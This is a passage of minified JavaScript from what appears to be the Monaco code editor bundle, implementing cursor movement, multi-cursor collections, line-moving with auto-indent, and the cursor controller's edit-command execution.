n.CursorState.fromModelState(t.modelState.move(i,o,r,0))},e._moveToViewMinColumn=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.viewState.position.lineNumber,u=e.viewModel.getLineMinColumn(a);i[o]=this._moveToViewPosition(e,s,n,a,u)}return i},e._moveToViewFirstNonWhitespaceColumn=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.viewState.position.lineNumber,u=e.viewModel.getLineFirstNonWhitespaceColumn(a);i[o]=this._moveToViewPosition(e,s,n,a,u)}return i},e._moveToViewCenterColumn=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.viewState.position.lineNumber,u=Math.round((e.viewModel.getLineMaxColumn(a)+e.viewModel.getLineMinColumn(a))/2);i[o]=this._moveToViewPosition(e,s,n,a,u)}return i},e._moveToViewMaxColumn=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.viewState.position.lineNumber,u=e.viewModel.getLineMaxColumn(a);i[o]=this._moveToViewPosition(e,s,n,a,u)}return i},e._moveToViewLastNonWhitespaceColumn=function(e,t,n){for(var i=[],o=0,r=t.length;o<r;o++){var s=t[o],a=s.viewState.position.lineNumber,u=e.viewModel.getLineLastNonWhitespaceColumn(a);i[o]=this._moveToViewPosition(e,s,n,a,u)}return i},e}();t.CursorMoveCommands=u;!function(e){e.description={description:\"Move cursor to a logical position in the view\",args:[{name:\"Cursor move argument object\",description:\"Property-value pairs that can be passed through this argument:\\n\\t\\t\\t\\t\\t* 'to': A mandatory logical position value providing where to move the cursor.\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t\\t'left', 'right', 'up', 'down'\\n\\t\\t\\t\\t\\t\\t'wrappedLineStart', 'wrappedLineEnd', 'wrappedLineColumnCenter'\\n\\t\\t\\t\\t\\t\\t'wrappedLineFirstNonWhitespaceCharacter', 'wrappedLineLastNonWhitespaceCharacter',\\n\\t\\t\\t\\t\\t\\t'viewPortTop', 'viewPortCenter', 'viewPortBottom', 'viewPortIfOutside'\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t* 'by': Unit to move. Default is computed based on 'to' value.\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t\\t'line', 'wrappedLine', 'character', 'halfLine'\\n\\t\\t\\t\\t\\t\\t```\\n\\t\\t\\t\\t\\t* 'value': Number of units to move. Default is '1'.\\n\\t\\t\\t\\t\\t* 'select': If 'true' makes the selection. Default is 'false'.\\n\\t\\t\\t\\t\",constraint:function(e){if(!a.isObject(e))return!1;var t=e;return!(!a.isString(t.to)||!a.isUndefined(t.select)&&!a.isBoolean(t.select)||!a.isUndefined(t.by)&&!a.isString(t.by)||!a.isUndefined(t.value)&&!a.isNumber(t.value))}}]},e.RawDirection={Left:\"left\",Right:\"right\",Up:\"up\",Down:\"down\",WrappedLineStart:\"wrappedLineStart\",WrappedLineFirstNonWhitespaceCharacter:\"wrappedLineFirstNonWhitespaceCharacter\",WrappedLineColumnCenter:\"wrappedLineColumnCenter\",WrappedLineEnd:\"wrappedLineEnd\",WrappedLineLastNonWhitespaceCharacter:\"wrappedLineLastNonWhitespaceCharacter\",ViewPortTop:\"viewPortTop\",ViewPortCenter:\"viewPortCenter\",ViewPortBottom:\"viewPortBottom\",ViewPortIfOutside:\"viewPortIfOutside\"},e.RawUnit={Line:\"line\",WrappedLine:\"wrappedLine\",Character:\"character\",HalfLine:\"halfLine\"},e.parse=function(t){if(!t.to)return null;var n;switch(t.to){case e.RawDirection.Left:n=0;break;case e.RawDirection.Right:n=1;break;case e.RawDirection.Up:n=2;break;case e.RawDirection.Down:n=3;break;case e.RawDirection.WrappedLineStart:n=4;break;case e.RawDirection.WrappedLineFirstNonWhitespaceCharacter:n=5;break;case e.RawDirection.WrappedLineColumnCenter:n=6;break;case e.RawDirection.WrappedLineEnd:n=7;break;case e.RawDirection.WrappedLineLastNonWhitespaceCharacter:n=8;break;case e.RawDirection.ViewPortTop:n=9;break;case e.RawDirection.ViewPortBottom:n=11;break;case e.RawDirection.ViewPortCenter:n=10;break;case e.RawDirection.ViewPortIfOutside:n=12;break;default:return null}var i=0;switch(t.by){case e.RawUnit.Line:i=1;break;case e.RawUnit.WrappedLine:i=2;break;case e.RawUnit.Character:i=3;break;case e.RawUnit.HalfLine:i=4}return{direction:n,unit:i,select:!!t.select,value:t.value||1}};!function(e){e[e.Left=0]=\"Left\",e[e.Right=1]=\"Right\",e[e.Up=2]=\"Up\",e[e.Down=3]=\"Down\",e[e.WrappedLineStart=4]=\"WrappedLineStart\",e[e.WrappedLineFirstNonWhitespaceCharacter=5]=\"WrappedLineFirstNonWhitespaceCharacter\",e[e.WrappedLineColumnCenter=6]=\"WrappedLineColumnCenter\",e[e.WrappedLineEnd=7]=\"WrappedLineEnd\",e[e.WrappedLineLastNonWhitespaceCharacter=8]=\"WrappedLineLastNonWhitespaceCharacter\",e[e.ViewPortTop=9]=\"ViewPortTop\",e[e.ViewPortCenter=10]=\"ViewPortCenter\",e[e.ViewPortBottom=11]=\"ViewPortBottom\",e[e.ViewPortIfOutside=12]=\"ViewPortIfOutside\"}(e.Direction||(e.Direction={}));!function(e){e[e.None=0]=\"None\",e[e.Line=1]=\"Line\",e[e.WrappedLine=2]=\"WrappedLine\",e[e.Character=3]=\"Character\",e[e.HalfLine=4]=\"HalfLine\"}(e.Unit||(e.Unit={}))}(t.CursorMove||(t.CursorMove={}))}),define(d[317],h([1,0,39,12,2,22]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e){this._setState(e,new n.SingleCursorState(new o.Range(1,1,1,1),0,new i.Position(1,1),0),new n.SingleCursorState(new o.Range(1,1,1,1),0,new i.Position(1,1),0))}return e.prototype.dispose=function(e){e.model._removeMarker(this._selStartMarker),e.model._removeMarker(this._selEndMarker)},e.prototype.asCursorState=function(){return new n.CursorState(this.modelState,this.viewState)},e.prototype.readSelectionFromMarkers=function(e){var t=e.model._getMarker(this._selStartMarker),n=e.model._getMarker(this._selEndMarker);return this.modelState.selection.getDirection()===r.SelectionDirection.LTR?new r.Selection(t.lineNumber,t.column,n.lineNumber,n.column):new r.Selection(n.lineNumber,n.column,t.lineNumber,t.column)},e.prototype.ensureValidState=function(e){this._setState(e,this.modelState,this.viewState)},e.prototype.setState=function(e,t,n){this._setState(e,t,n)},e.prototype._setState=function(e,t,r){if(t){var s=e.model.validateRange(t.selectionStart),a=t.selectionStart.equalsRange(s)?t.selectionStartLeftoverVisibleColumns:0,u=e.model.validatePosition(t.position),l=t.position.equals(u)?t.leftoverVisibleColumns:0;t=new n.SingleCursorState(s,a,u,l)}else{var s=e.model.validateRange(e.convertViewRangeToModelRange(r.selectionStart)),u=e.model.validatePosition(e.convertViewPositionToModelPosition(r.position.lineNumber,r.position.column));t=new n.SingleCursorState(s,r.selectionStartLeftoverVisibleColumns,u,r.leftoverVisibleColumns)}if(r){var c=e.validateViewRange(r.selectionStart,t.selectionStart),d=e.validateViewPosition(r.position,t.position);r=new n.SingleCursorState(c,t.selectionStartLeftoverVisibleColumns,d,t.leftoverVisibleColumns)}else{var h=e.convertModelPositionToViewPosition(new i.Position(t.selectionStart.startLineNumber,t.selectionStart.startColumn)),p=e.convertModelPositionToViewPosition(new i.Position(t.selectionStart.endLineNumber,t.selectionStart.endColumn)),c=new o.Range(h.lineNumber,h.column,p.lineNumber,p.column),d=e.convertModelPositionToViewPosition(t.position);r=new n.SingleCursorState(c,t.selectionStartLeftoverVisibleColumns,d,t.leftoverVisibleColumns)}this.modelState&&this.viewState&&this.modelState.equals(t)&&this.viewState.equals(r)||(this.modelState=t,this.viewState=r,this._selStartMarker=this._ensureMarker(e,this._selStartMarker,this.modelState.selection.startLineNumber,this.modelState.selection.startColumn,!0),this._selEndMarker=this._ensureMarker(e,this._selEndMarker,this.modelState.selection.endLineNumber,this.modelState.selection.endColumn,!1))},e.prototype._ensureMarker=function(e,t,n,i,o){return t?(e.model._changeMarker(t,n,i),e.model._changeMarkerStickiness(t,o),t):e.model._addMarker(0,n,i,o)},e}();t.OneCursor=s}),define(d[318],h([1,0,317,22,39]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e){this.context=e,this.primaryCursor=new n.OneCursor(e),this.secondaryCursors=[],this.lastAddedCursorIndex=0}return e.prototype.dispose=function(){this.primaryCursor.dispose(this.context),this.killSecondaryCursors()},e.prototype.updateContext=function(e){this.context=e},e.prototype.ensureValidState=function(){this.primaryCursor.ensureValidState(this.context);for(var e=0,t=this.secondaryCursors.length;e<t;e++)this.secondaryCursors[e].ensureValidState(this.context)},e.prototype.readSelectionFromMarkers=function(){var e=[];e[0]=this.primaryCursor.readSelectionFromMarkers(this.context);for(var t=0,n=this.secondaryCursors.length;t<n;t++)e[t+1]=this.secondaryCursors[t].readSelectionFromMarkers(this.context);return e},e.prototype.getAll=function(){var e=[];e[0]=this.primaryCursor.asCursorState();for(var t=0,n=this.secondaryCursors.length;t<n;t++)e[t+1]=this.secondaryCursors[t].asCursorState();return e},e.prototype.getViewPositions=function(){var e=[];e[0]=this.primaryCursor.viewState.position;for(var t=0,n=this.secondaryCursors.length;t<n;t++)e[t+1]=this.secondaryCursors[t].viewState.position;return e},e.prototype.getSelections=function(){var e=[];e[0]=this.primaryCursor.modelState.selection;for(var t=0,n=this.secondaryCursors.length;t<n;t++)e[t+1]=this.secondaryCursors[t].modelState.selection;return e},e.prototype.getViewSelections=function(){var e=[];e[0]=this.primaryCursor.viewState.selection;for(var t=0,n=this.secondaryCursors.length;t<n;t++)e[t+1]=this.secondaryCursors[t].viewState.selection;return e},e.prototype.setSelections=function(e){this.setStates(o.CursorState.fromModelSelections(e))},e.prototype.getPrimaryCursor=function(){return this.primaryCursor.asCursorState()},e.prototype.setStates=function(e){null!==e&&(this.primaryCursor.setState(this.context,e[0].modelState,e[0].viewState),this._setSecondaryStates(e.slice(1)))},e.prototype._setSecondaryStates=function(e){var t=this.secondaryCursors.length,n=e.length;if(t<n)for(var i=n-t,o=0;o<i;o++)this._addSecondaryCursor();else if(t>n)for(var r=t-n,o=0;o<r;o++)this._removeSecondaryCursor(this.secondaryCursors.length-1);for(o=0;o<n;o++)this.secondaryCursors[o].setState(this.context,e[o].modelState,e[o].viewState)},e.prototype.killSecondaryCursors=function(){this._setSecondaryStates([])},e.prototype._addSecondaryCursor=function(){this.secondaryCursors.push(new n.OneCursor(this.context)),this.lastAddedCursorIndex=this.secondaryCursors.length},e.prototype.getLastAddedCursorIndex=function(){return 0===this.secondaryCursors.length||0===this.lastAddedCursorIndex?0:this.lastAddedCursorIndex},e.prototype._removeSecondaryCursor=function(e){this.lastAddedCursorIndex>=e+1&&this.lastAddedCursorIndex--,this.secondaryCursors[e].dispose(this.context),this.secondaryCursors.splice(e,1)},e.prototype._getAll=function(){var e=[];e[0]=this.primaryCursor;for(var t=0,n=this.secondaryCursors.length;t<n;t++)e[t+1]=this.secondaryCursors[t];return e},e.prototype.normalize=function(){if(0!==this.secondaryCursors.length){for(var e=this._getAll(),t=[],n=0,r=e.length;n<r;n++)t.push({index:n,selection:e[n].modelState.selection,viewSelection:e[n].viewState.selection});t.sort(function(e,t){return e.viewSelection.startLineNumber===t.viewSelection.startLineNumber?e.viewSelection.startColumn-t.viewSelection.startColumn:e.viewSelection.startLineNumber-t.viewSelection.startLineNumber});for(var s=0;s<t.length-1;s++){var a=t[s],u=t[s+1],l=a.viewSelection,c=u.viewSelection;if(c.isEmpty()||l.isEmpty()?c.getStartPosition().isBeforeOrEqual(l.getEndPosition()):c.getStartPosition().isBefore(l.getEndPosition())){var d=a.index<u.index?s:s+1,h=a.index<u.index?s+1:s,p=t[h].index,f=t[d].index,g=t[h].selection,m=t[d].selection;if(!g.equalsSelection(m)){var v=g.plusRange(m),_=g.selectionStartLineNumber===g.startLineNumber&&g.selectionStartColumn===g.startColumn,y=m.selectionStartLineNumber===m.startLineNumber&&m.selectionStartColumn===m.startColumn,C=void 0;p===this.lastAddedCursorIndex?(C=_,this.lastAddedCursorIndex=f):C=y;var b=void 0;b=C?new i.Selection(v.startLineNumber,v.startColumn,v.endLineNumber,v.endColumn):new i.Selection(v.endLineNumber,v.endColumn,v.startLineNumber,v.startColumn),t[d].selection=b;var w=o.CursorState.fromModelSelection(b);e[f].setState(this.context,w.modelState,w.viewState)}for(var S=0;S<t.length;S++)t[S].index>p&&t[S].index--;e.splice(p,1),t.splice(h,1),this._removeSecondaryCursor(p-1),s--}}}},e}();t.CursorCollection=r}),define(d[319],h([1,0,9,2,22,43,167,263,60]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(){function e(e,t,n){this._selection=e,this._isMovingDown=t,this._autoIndent=n,this._moveEndLineSelectionShrink=!1}return e.prototype.getEditOperations=function(e,t){var s=e.getLineCount();if((!this._isMovingDown||this._selection.endLineNumber!==s)&&(this._isMovingDown||1!==this._selection.startLineNumber)){this._moveEndPositionDown=!1;var u=this._selection;u.startLineNumber<u.endLineNumber&&1===u.endColumn&&(this._moveEndPositionDown=!0,u=u.setEndPosition(u.endLineNumber-1,e.getLineMaxColumn(u.endLineNumber-1)));var l=e.getOptions().tabSize,c=e.getOptions().insertSpaces,d=this.buildIndentConverter(l),h={getLineTokens:function(t){return e.getLineTokens(t)},getLanguageIdentifier:function(){return e.getLanguageIdentifier()},getLanguageIdAtPosition:function(t,n){return e.getLanguageIdAtPosition(t,n)},getLineContent:null};if(u.startLineNumber===u.endLineNumber&&1===e.getLineMaxColumn(u.startLineNumber)){var p=u.startLineNumber,f=this._isMovingDown?p+1:p-1;1===e.getLineMaxColumn(f)?t.addEditOperation(new i.Range(1,1,1,1),null):(t.addEditOperation(new i.Range(p,1,p,1),e.getLineContent(f)),t.addEditOperation(new i.Range(f,1,f,e.getLineMaxColumn(f)),null)),u=new o.Selection(f,1,f,1)}else{var g,m;if(this._isMovingDown){g=u.endLineNumber+1,m=e.getLineContent(g),t.addEditOperation(new i.Range(g-1,e.getLineMaxColumn(g-1),g,e.getLineMaxColumn(g)),null);var v=m;if(this.isAutoIndent(e,u)){var _=this.matchEnterRule(e,d,l,g,u.startLineNumber-1);if(null!==_){var y=n.getLeadingWhitespace(e.getLineContent(g)),C=_+a.getSpaceCnt(y,l),b=a.generateIndent(C,l,c);v=b+this.trimLeft(m)}else{h.getLineContent=function(t){return t===u.startLineNumber?e.getLineContent(g):e.getLineContent(t)};var w=r.LanguageConfigurationRegistry.getGoodIndentForLine(h,e.getLanguageIdAtPosition(g,1),u.startLineNumber,d);if(null!==w){y=n.getLeadingWhitespace(e.getLineContent(g));if((C=a.getSpaceCnt(w,l))!==(N=a.getSpaceCnt(y,l))){b=a.generateIndent(C,l,c);v=b+this.trimLeft(m)}}}if(t.addEditOperation(new i.Range(u.startLineNumber,1,u.startLineNumber,1),v+\"\\n\"),null!==(E=this.matchEnterRule(e,d,l,u.startLineNumber,u.startLineNumber,v)))0!==E&&this.getIndentEditsOfMovingBlock(e,t,u,l,c,E);else{h.getLineContent=function(t){return t===u.startLineNumber?v:t>=u.startLineNumber+1&&t<=u.endLineNumber+1?e.getLineContent(t-1):e.getLineContent(t)};var S=r.LanguageConfigurationRegistry.getGoodIndentForLine(h,e.getLanguageIdAtPosition(g,1),u.startLineNumber+1,d);if(null!==S){y=n.getLeadingWhitespace(e.getLineContent(u.startLineNumber));if((C=a.getSpaceCnt(S,l))!==(N=a.getSpaceCnt(y,l))){M=C-N;this.getIndentEditsOfMovingBlock(e,t,u,l,c,M)}}}}else t.addEditOperation(new i.Range(u.startLineNumber,1,u.startLineNumber,1),v+\"\\n\")}else if(g=u.startLineNumber-1,m=e.getLineContent(g),t.addEditOperation(new i.Range(g,1,g+1,1),null),t.addEditOperation(new i.Range(u.endLineNumber,e.getLineMaxColumn(u.endLineNumber),u.endLineNumber,e.getLineMaxColumn(u.endLineNumber)),\"\\n\"+m),this.isAutoIndent(e,u)){h.getLineContent=function(t){return t===g?e.getLineContent(u.startLineNumber):e.getLineContent(t)};var E=this.matchEnterRule(e,d,l,u.startLineNumber,u.startLineNumber-2);if(null!==E)0!==E&&this.getIndentEditsOfMovingBlock(e,t,u,l,c,E);else{var L=r.LanguageConfigurationRegistry.getGoodIndentForLine(h,e.getLanguageIdAtPosition(u.startLineNumber,1),g,d);if(null!==L){var x=n.getLeadingWhitespace(e.getLineContent(u.startLineNumber)),C=a.getSpaceCnt(L,l),N=a.getSpaceCnt(x,l);if(C!==N){var M=C-N;this.getIndentEditsOfMovingBlock(e,t,u,l,c,M)}}}}}this._selectionId=t.trackSelection(u)}},e.prototype.buildIndentConverter=function(e){return{shiftIndent:function(t){for(var n=s.ShiftCommand.shiftIndentCount(t,t.length+1,e),i=\"\",o=0;o<n;o++)i+=\"\\t\";return i},unshiftIndent:function(t){for(var n=s.ShiftCommand.unshiftIndentCount(t,t.length+1,e),i=\"\",o=0;o<n;o++)i+=\"\\t\";return i}}},e.prototype.matchEnterRule=function(e,t,o,s,l,c){for(var d=l;d>=1;){var h=void 0;if(h=d===l&&void 0!==c?c:e.getLineContent(d),n.lastNonWhitespaceIndex(h)>=0)break;d--}if(d<1||s>e.getLineCount())return null;var p=e.getLineMaxColumn(d),f=r.LanguageConfigurationRegistry.getEnterAction(e,new i.Range(d,p,d,p));if(f){var g=f.indentation,m=f.enterAction;m.indentAction===u.IndentAction.None?g=f.indentation+m.appendText:m.indentAction===u.IndentAction.Indent?g=f.indentation+m.appendText:m.indentAction===u.IndentAction.IndentOutdent?g=f.indentation:m.indentAction===u.IndentAction.Outdent&&(g=t.unshiftIndent(f.indentation)+m.appendText);var v=e.getLineContent(s);if(this.trimLeft(v).indexOf(this.trimLeft(g))>=0){var _=n.getLeadingWhitespace(e.getLineContent(s)),y=n.getLeadingWhitespace(g);return 2&r.LanguageConfigurationRegistry.getIndentMetadata(e,s)&&(y=t.unshiftIndent(y)),a.getSpaceCnt(y,o)-a.getSpaceCnt(_,o)}}return null},e.prototype.trimLeft=function(e){return e.replace(/^\\s+/,\"\")},e.prototype.isAutoIndent=function(e,t){if(!this._autoIndent)return!1;var n=e.getLanguageIdAtPosition(t.startLineNumber,1);return n===e.getLanguageIdAtPosition(t.endLineNumber,1)&&null!==r.LanguageConfigurationRegistry.getIndentRulesSupport(n)},e.prototype.getIndentEditsOfMovingBlock=function(e,t,o,r,s,u){for(var l=o.startLineNumber;l<=o.endLineNumber;l++){var c=e.getLineContent(l),d=n.getLeadingWhitespace(c),h=a.getSpaceCnt(d,r)+u,p=a.generateIndent(h,r,s);p!==d&&(t.addEditOperation(new i.Range(l,1,l,d.length+1),p),l===o.endLineNumber&&o.endColumn<=d.length+1&&\"\"===p&&(this._moveEndLineSelectionShrink=!0))}},e.prototype.computeCursorState=function(e,t){var n=t.getTrackedSelection(this._selectionId);return this._moveEndPositionDown&&(n=n.setEndPosition(n.endLineNumber+1,1)),this._moveEndLineSelectionShrink&&n.startLineNumber<n.endLineNumber&&(n=n.setEndPosition(n.endLineNumber,2)),n},e}();t.MoveLinesCommand=l}),define(d[320],h([6,8]),function(e,t){return e.create(\"vs/editor/common/controller/cursor\",t)}),define(d[321],h([1,0,320,9,10,318,2,22,20,39,43,170,119,55,54,57,11]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v){\"use strict\";function _(e){for(var t=0,n=e.length;t<n;t++)if(6===e[t].type)return!0;return!1}Object.defineProperty(t,\"__esModule\",{value:!0});var y=function(){return function(e,t,n){this.selections=e,this.source=t,this.reason=n}}();t.CursorStateChangedEvent=y;var C=function(){function e(e,t){this.modelVersionId=e.getVersionId(),this.cursorState=t.getAll()}return e.prototype.equals=function(e){if(!e)return!1;if(this.modelVersionId!==e.modelVersionId)return!1;if(this.cursorState.length!==e.cursorState.length)return!1;for(var t=0,n=this.cursorState.length;t<n;t++)if(!this.cursorState[t].equals(e.cursorState[t]))return!1;return!0},e}();t.CursorModelState=C;var b=function(e){function t(t,n,i){var o=e.call(this)||this;o._onDidChange=o._register(new v.Emitter),o.onDidChange=o._onDidChange.event,o._configuration=t,o._model=n,o._viewModel=i,o.context=new l.CursorContext(o._configuration,o._model,o._viewModel),o._cursors=new r.CursorCollection(o.context),o._isHandling=!1,o._isDoingComposition=!1,o._columnSelectData=null,o._register(o._model.addBulkListener(function(e){if(!o._isHandling){for(var t=!1,n=!1,i=0,r=e.length;i<r;i++){var s=e[i];if(s.type===p.TextModelEventType.ModelRawContentChanged2){t=!0;var a=s.data;n=n||a.containsEvent(1)}}t&&o._onModelContentChanged(n)}})),o._register(i.addEventListener(function(e){_(e)&&o.setStates(\"viewModel\",g.CursorChangeReason.NotSet,o.getAll())}));var s=function(){o.context=new l.CursorContext(o._configuration,o._model,o._viewModel),o._cursors.updateContext(o.context)};return o._register(o._model.onDidChangeLanguage(function(e){s()})),o._register(c.LanguageConfigurationRegistry.onDidChange(function(){s()})),o._register(n.onDidChangeOptions(function(){s()})),o._register(o._configuration.onDidChange(function(e){l.CursorConfiguration.shouldRecreate(e)&&s()})),o}return f(t,e),t.prototype.dispose=function(){this._cursors.dispose(),e.prototype.dispose.call(this)},t.prototype.getPrimaryCursor=function(){return this._cursors.getPrimaryCursor()},t.prototype.getLastAddedCursorIndex=function(){return this._cursors.getLastAddedCursorIndex()},t.prototype.getAll=function(){return this._cursors.getAll()},t.prototype.setStates=function(e,t,n){var i=new C(this._model,this);this._cursors.setStates(n),this._cursors.normalize(),this._columnSelectData=null,this._emitStateChangedIfNecessary(e,t,i)},t.prototype.setColumnSelectData=function(e){this._columnSelectData=e},t.prototype.reveal=function(e,t){this._revealRange(t,0,e)},t.prototype.revealRange=function(e,t,n){this.emitCursorRevealRange(t,n,e)},t.prototype.scrollTo=function(e){this._viewModel.viewLayout.setScrollPosition({scrollTop:e})},t.prototype.saveState=function(){for(var e=[],t=this._cursors.getSelections(),n=0,i=t.length;n<i;n++){var o=t[n];e.push({inSelectionMode:!o.isEmpty(),selectionStart:{lineNumber:o.selectionStartLineNumber,column:o.selectionStartColumn},position:{lineNumber:o.positionLineNumber,column:o.positionColumn}})}return e},t.prototype.restoreState=function(e){for(var t=[],n=0,i=e.length;n<i;n++){var o=e[n],r=1,s=1;o.position&&o.position.lineNumber&&(r=o.position.lineNumber),o.position&&o.position.column&&(s=o.position.column);var a=r,u=s;o.selectionStart&&o.selectionStart.lineNumber&&(a=o.selectionStart.lineNumber),o.selectionStart&&o.selectionStart.column&&(u=o.selectionStart.column),t.push({selectionStartLineNumber:a,selectionStartColumn:u,positionLineNumber:r,positionColumn:s})}this.setStates(\"restoreState\",g.CursorChangeReason.NotSet,l.CursorState.fromModelSelections(t)),this.reveal(!0,0)},t.prototype._onModelContentChanged=function(e){if(e)this._cursors.dispose(),this._cursors=new r.CursorCollection(this.context),this._emitStateChangedIfNecessary(\"model\",g.CursorChangeReason.ContentFlush,null);else{var t=this._cursors.readSelectionFromMarkers();this.setStates(\"modelChange\",g.CursorChangeReason.RecoverFromMarkers,l.CursorState.fromModelSelections(t))}},t.prototype.getSelection=function(){return this._cursors.getPrimaryCursor().modelState.selection},t.prototype.getColumnSelectData=function(){if(this._columnSelectData)return this._columnSelectData;var e=this._cursors.getPrimaryCursor().viewState.position;return{toViewLineNumber:e.lineNumber,toViewVisualColumn:l.CursorColumns.visibleColumnFromColumn2(this.context.config,this.context.viewModel,e)}},t.prototype.getSelections=function(){return this._cursors.getSelections()},t.prototype.getViewSelections=function(){return this._cursors.getViewSelections()},t.prototype.getPosition=function(){return this._cursors.getPrimaryCursor().modelState.position},t.prototype.setSelections=function(e,t){this.setStates(e,g.CursorChangeReason.NotSet,l.CursorState.fromModelSelections(t))},t.prototype._executeEditOperation=function(e){if(e&&!this._configuration.editor.readOnly){e.shouldPushStackElementBefore&&this._model.pushStackElement();var t=w.executeCommands(this._model,this._cursors.getSelections(),e.commands);t&&this._interpretCommandResult(t),e.shouldPushStackElementAfter&&this._model.pushStackElement()}},t.prototype._interpretCommandResult=function(e){e&&0!==e.length&&(this._columnSelectData=null,this._cursors.setSelections(e),this._cursors.normalize())},t.prototype._emitStateChangedIfNecessary=function(e,t,n){var i=new C(this._model,this);if(i.equals(n))return!1;var o=!0;this._model.hasEditableRange()&&(this._model.getEditableRange().containsPosition(i.cursorState[0].modelState.position)||(o=!1));var r=this._cursors.getSelections(),s=this._cursors.getViewSelections();return this._emit([new m.ViewCursorStateChangedEvent(s,o,null)]),this._onDidChange.fire(new y(r,e||\"keyboard\",t)),!0},t.prototype._revealRange=function(e,t,n){var i=this._cursors.getViewPositions(),o=i[0];if(1===e)for(r=1;r<i.length;r++)i[r].isBefore(o)&&(o=i[r]);else if(2===e)for(var r=1;r<i.length;r++)o.isBeforeOrEqual(i[r])&&(o=i[r]);else if(i.length>1)return;var a=new s.Range(o.lineNumber,o.column,o.lineNumber,o.column);this.emitCursorRevealRange(a,t,n)},t.prototype.emitCursorRevealRange=function(e,t,n){this._emit([new m.ViewRevealRangeRequestEvent(e,t,n)])},t.prototype.trigger=function(e,t,n){var i=u.Handler;if(t!==i.CompositionStart)if(t!==i.CompositionEnd){var r=new C(this._model,this),s=g.CursorChangeReason.NotSet;this._cursors.ensureValidState(),this._isHandling=!0;try{switch(t){case i.Type:this._type(e,n.text);break;case i.ReplacePreviousChar:this._replacePreviousChar(n.text,n.replaceCharCnt);break;case i.Paste:s=g.CursorChangeReason.Paste,this._paste(n.text,n.pasteOnNewLine);break;case i.Cut:this._cut();break;case i.Undo:s=g.CursorChangeReason.Undo,this._interpretCommandResult(this._model.undo());break;case i.Redo:s=g.CursorChangeReason.Redo,this._interpretCommandResult(this._model.redo());break;case i.ExecuteCommand:this._externalExecuteCommand(n);break;case i.ExecuteCommands:this._externalExecuteCommands(n)}}catch(e){o.onUnexpectedError(e)}this._isHandling=!1,this._emitStateChangedIfNecessary(e,s,r)&&this._revealRange(0,0,!0)}else this._isDoingComposition=!1;else this._isDoingComposition=!0},t.prototype._type=function(e,t){if(this._isDoingComposition||\"keyboard\"!==e)this._executeEditOperation(h.TypeOperations.typeWithoutInterceptors(this.context.config,this.context.model,this.getSelections(),t));else for(var n=0,o=t.length;n<o;n++){var r=t.charCodeAt(n),s=void 0;i.isHighSurrogate(r)&&n+1<o?(s=t.charAt(n)+t.charAt(n+1),n++):s=t.charAt(n),this._executeEditOperation(h.TypeOperations.typeWithInterceptors(this.context.config,this.context.model,this.getSelections(),s))}},t.prototype._replacePreviousChar=function(e,t){this._executeEditOperation(h.TypeOperations.replacePreviousChar(this.context.config,this.context.model,this.getSelections(),e,t))},t.prototype._paste=function(e,t){this._executeEditOperation(h.TypeOperations.paste(this.context.config,this.context.model,this.getSelections(),t,e))},t.prototype._cut=function(){this._executeEditOperation(d.DeleteOperations.cut(this.context.config,this.context.model,this.getSelections()))},t.prototype._externalExecuteCommand=function(e){this._cursors.killSecondaryCursors(),this._executeEditOperation(new l.EditOperationResult([e],{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!1}))},t.prototype._externalExecuteCommands=function(e){this._executeEditOperation(new l.EditOperationResult(e,{shouldPushStackElementBefore:!1,shouldPushStackElementAfter:!1}))},t}(m.ViewEventEmitter);t.Cursor=b;var w=function(){function e(){}return e.executeCommands=function(e,t,n){for(var i={model:e,selectionsBefore:t,selectionStartMarkers:[],positionMarkers:[]},o=this._innerExecuteCommands(i,n),r=0;r<i.selectionStartMarkers.length;r++)i.model._removeMarker(i.selectionStartMarkers[r]),i.model._removeMarker(i.positionMarkers[r]);return o},e._innerExecuteCommands=function(e,t){if(this._arrayIsEmpty(t))return null;var n=this._getEditOperations(e,t);if(0===n.operations.length)return null;for(var i=n.operations,o=e.model.getEditableRange(),r=o.getStartPosition(),s=o.getEndPosition(),u=0,l=i.length;u<l;u++){var c=i[u].range;if(!r.isBeforeOrEqual(c.getStartPosition())||!c.getEndPosition().isBeforeOrEqual(s))return null}var d=this._getLoserCursorMap(i);if(d.hasOwnProperty(\"0\"))return console.warn(\"Ignoring commands\"),null;for(var h=[],u=0,l=i.length;u<l;u++)d.hasOwnProperty(i[u].identifier.major.toString())||h.push(i[u]);n.hadTrackedEditOperation&&h.length>0&&(h[0]._isTracked=!0);var p=e.model.pushEditOperations(e.selectionsBefore,h,function(n){for(var i=[],o=0;o<e.selectionsBefore.length;o++)i[o]=[];for(o=0;o<n.length;o++){var r=n[o];r.identifier&&i[r.identifier.major].push(r)}for(var s=function(e,t){return e.identifier.minor-t.identifier.minor},u=[],o=0;o<e.selectionsBefore.length;o++)!function(n){i[n].length>0?(i[n].sort(s),u[n]=t[n].computeCursorState(e.model,{getInverseEditOperations:function(){return i[n]},getTrackedSelection:function(t){var n=parseInt(t,10),i=e.model._getMarker(e.selectionStartMarkers[n]),o=e.model._getMarker(e.positionMarkers[n]);return new a.Selection(i.lineNumber,i.column,o.lineNumber,o.column)}})):u[n]=e.selectionsBefore[n]}(o);return u}),f=[];for(var g in d)d.hasOwnProperty(g)&&f.push(parseInt(g,10));f.sort(function(e,t){return t-e});for(u=0;u<f.length;u++)p.splice(f[u],1);return p},e._arrayIsEmpty=function(e){for(var t=0,n=e.length;t<n;t++)if(e[t])return!1;return!0},e._getEditOperations=function(e,t){for(var n=[],i=!1,o=0,r=t.length;o<r;o++)if(t[o]){var s=this._getEditOperationsFromCommand(e,o,t[o]);n=n.concat(s.operations),i=i||s.hadTrackedEditOperation}return{operations:n,hadTrackedEditOperation:i}},e._getEditOperationsFromCommand=function(e,t,i){var 